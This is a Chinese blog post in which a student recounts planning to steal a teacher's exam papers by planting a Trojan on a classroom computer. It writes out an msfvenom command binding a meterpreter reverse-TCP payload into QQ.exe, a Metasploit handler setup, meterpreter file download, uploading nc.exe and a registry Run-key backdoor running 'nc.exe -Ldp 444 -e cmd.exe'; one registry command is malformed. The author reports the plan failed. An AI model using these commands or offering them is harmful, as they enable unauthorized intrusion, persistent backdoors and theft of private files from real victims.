每个故事的开始总是那么荒谬离奇,对于一个技术小萌新来说,因为快临近了期末考试,但是因为自己平时是什么样的自己心里有数(狗头)。

在某个风寒日丽的下午,我正在上着课刷着手机(当然了这里可不能学我),然后看到了谋篇公众号的推文,是一篇关于通过写一个木马程序,窃取老师的期末试卷的文章,此时,我心中也产生了类似的想法,嘻嘻。通过作者的思路,作者是自己写的程序,等待老师的u盘插入,然后遍历老师的u盘指定的文件格式到自己的u盘。

经过一番思考后,决定现学现用,用msf生成的小马植入教室的电脑,进而获得目标电脑的权限,这里我想到的有两种思路:

1, 在上课老师来之前将小马植入电脑然后下课自动销毁,但是这样的作法有点危险,会有同学看到。或者入侵老师的电脑后上传nc然后进行反连。

2, 还有一种是自己的远控软件(狗头,不是本文的重点),重点是免杀。

Msf对于我们应该不陌生,重点是它怎么捆绑或者生成小马,本文介绍捆绑。首先我们得有一个目标软件。

然后执行命令

sfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.44.141 -f exe -x /home/zhengai/桌面/QQ.exe -o /home/zhengai/桌面/test.exe

-p指的是使用的payload

-f 指的是输出的文件格式

-x -o 指的是输入文件路径和输出文件路径

LHOST=你自己的IP

这时可能会有帅气的读者问了,就这样裸奔吗?这样呢不怕被杀?像这样

当然了我们有免杀(狗头)。

如果你觉得麻烦想自己生成小马的话,思路也是一样的,只不过是直接去掉-x参数。当然了msf也集成了手机的payload,感兴趣可以试试哦。在实践之前我们先进行实验。

Msfconsole打开msf端

use multi/handler可以先进入模块

然后show options查看需要配置参数

这里看到只需要配置LHOST,这里有两种配置方法,可以是自己的ip,也可以是目标主机的ip但是的话此马只能在局域网内上线,不同的ip配置可以拿到不同的权限。这里我们直接配置目标主机的ip。

msfconsole

use multi/handler

set payload windows/meterpreter/reverse_tcp

set lhost 192.168.44.131

set lport 4444

run

最最最重要的是目标主机要运行你的小马,在实践中你可以有很多方法让目标主机运行,看你的能力了。然后我们就可以执行命令下载文件了。下载命令是download .更多有趣的命令等着你去挖掘。这里还可以给目标主机上传nc然后这就是你的电脑了哦,我们的目标是注册表,

Upload /root/nc.exe C:\\windows\\system32

然后修改注册表键值

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d ‘C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe’

OK了现在你只需要连接即可(狗头)。

但是最后计划还是失败了,因为教室的电脑只有老师才能打开。吐血。(打字不易,大佬喷轻一点)